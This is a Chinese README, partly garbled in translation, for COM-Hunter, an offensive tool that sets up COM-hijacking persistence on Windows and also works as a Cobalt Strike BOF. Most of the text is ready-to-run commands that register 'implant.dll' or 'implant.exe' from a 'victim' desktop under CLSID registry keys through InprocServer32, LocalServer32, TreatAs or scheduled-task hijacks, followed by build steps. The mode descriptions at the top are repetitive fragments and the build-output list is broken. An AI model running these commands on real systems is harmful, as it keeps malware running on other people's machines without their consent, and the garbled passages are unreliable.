COM 劫持 VOODOO

COM-Hunter 是一款 COM 劫持持久化工具。
提供 .NET 版本和完全兼容 Cobalt Strike 的 BOF 变体。
以下列表说明了可用的模式:
LocalServer32、InprocServer32 以及 HKLM 和 HKCU 下的注册表项搜索 CLSID。LocalServer32 或 InprocServer32 执行经典 COM 劫持持久化。LocalServer32 或 InprocServer32 建立 COM 劫持持久化。LocalServer32 或 InprocServer32 执行 COM 劫持持久化。HKLM 和 HKCU 下 LocalServer32、InprocServer32 及相关注册表项的持久化机制。ℹ️ 此工具已被选中,并自豪地成为 Cobalt Strike 社区工具包 的一部分。
如果您发现任何错误,请随时报告它们。您的反馈对于提高此项目的质量非常有价值!
本项目作者和贡献者不对任何非法使用该工具的行为负责。该工具仅用于教育目的。用户有责任确使用方式合法。
本项目由 @nickvourd 和 @S1ckB0y1337 用心创建 ❤️。
特别感谢我的朋友 Marios Gyftos 在工具测试阶段提供的宝贵帮助。
灵感来源于 @zeropointsecltd 的 RTO 课程。
BOF 实现灵感来源于 Lefteris Panos 及其出色的项目 RegPersist。
base.c 和 bofdefs.h 文件直接复制自 TrustedSec 的 CS-Situational-Awareness-BOF 项目。
██████╗ ██████╗ ███╗ ███╗ ██╗ ██╗██╗ ██╗███╗ ██╗████████╗███████╗██████╗
██╔════╝██╔═══██╗████╗ ████║ ██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗
██║ ██║ ██║██╔████╔██║█████╗███████║██║ ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝
██║ ██║ ██║██║╚██╔╝██║╚════╝██╔══██║██║ ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗
╚██████╗╚██████╔╝██║ ╚═╝ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ██║ ███████╗██║ ██║
╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
版本:3.0
@nickvourd && @S1ckB0y1337
~ 灵感来源于 @zeropointsecltd 的 RTO 课程 ~
用法: COM_Hunter.exe <模式> <选项>
[+] 可用模式:
search 搜索模式
persist 经典持久化模式
tasksch 任务计划程序模式
treatas TreatAs 模式
remove 移除模式
[+] 搜索模式:
用法:COM-Hunter.exe search <CLSID> <选项>
-a, --all 搜索 HKLM 和 HKCU 中的 DLL 和 EXE 实现
-i, --inprocserver32 搜索 HKLM 和 HKCU 中的 DLL 实现
-l, --localserver32 搜索 HKLM 和 HKCU 中的 EXE 实现
-m, --machine 搜索 HKLM 中的 DLL 和 EXE 实现
-u, --user 搜索 HKCU 中的 DLL 和 EXE 实现
[+] 经典持久化模式:
用法:COM-Hunter.exe persist <CLSID> <二进制路径> <选项>
-i, --inprocserver32 设置 DLL 实现
-l, --localserver32 设置 EXE 实现
[+] 任务计划程序模式:
用法:COM-Hunter.exe tasksch <二进制路径> <选项>
-i, --inprocserver32 设置 DLL 实现
-l, --localserver32 设置 EXE 实现
[+] TreatAs 模式:
用法:COM-Hunter.exe treatas <CLSID> <假_CLSID> <二进制路径> <选项>
-i, --inprocserver32 设置 DLL 实现
-l, --localserver32 设置 EXE 实现
[+] 移除模式:
用法:COM-Hunter.exe remove <CLSID> <选项>
-a, --all 移除 HKLM 和 HKCU 中的 DLL 和 EXE 实现
-i, --inprocserver32 移除 HKLM 和 HKCU 中的 DLL 实现
-l, --localserver32 移除 HKLM 和 HKCU 中的 EXE 实现
-m, --machine 移除 HKLM 中的 DLL 和 EXE 实现
-u, --user 移除 HKCU 中的 DLL 和 EXE 实现
ℹ️ 搜索 HKLM 和 HKCU 中的 DLL 和 EXE 实现:
.\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a
ℹ️ 搜索 HKLM 和 HKCU 中的 EXE 实现:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l
ℹ️ 进阶搜索 HKLM 中的 EXE 实现:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine
ℹ️ 搜索 HKCU 中的 EXE 和 DLL 实现:
.\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user
ℹ️ 使用 DLL 实现执行经典持久化:
.\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i
ℹ️ 使用 EXE 实现执行经典持久化:
.\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32
ℹ️ 通过任务计划程序使用 DLL 实现执行持久化:
.\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32
ℹ️ 通过 TreatAs 注册表键和一个虚假(可转发)的 CLSID 使用 DLL 实现执行持久化:
.\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i
ℹ️ 移除 HKCU 中的 DLL 实现持久化:
.\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -u
ℹ️ 需要 MinGW-w64 工具链(x86_64-w64-mingw32-gcc 和 i686-w64-mingw32-gcc)
ℹ️ 为两种架构编译 BOF 目标文件:
./make_all.sh
这将:
com_hunter_* 目录。com_hunter_*.x64.o 和 com_hunter_*.x86.o。com_hunter_*/ 目录中。ℹ️ 编译 BOF 模块后,只需将 com_hunter_bof.cna 加载到 Cobalt Strike 中即可。
ℹ️ 清理构建产物,进入每个 src 目录并执行:
make clean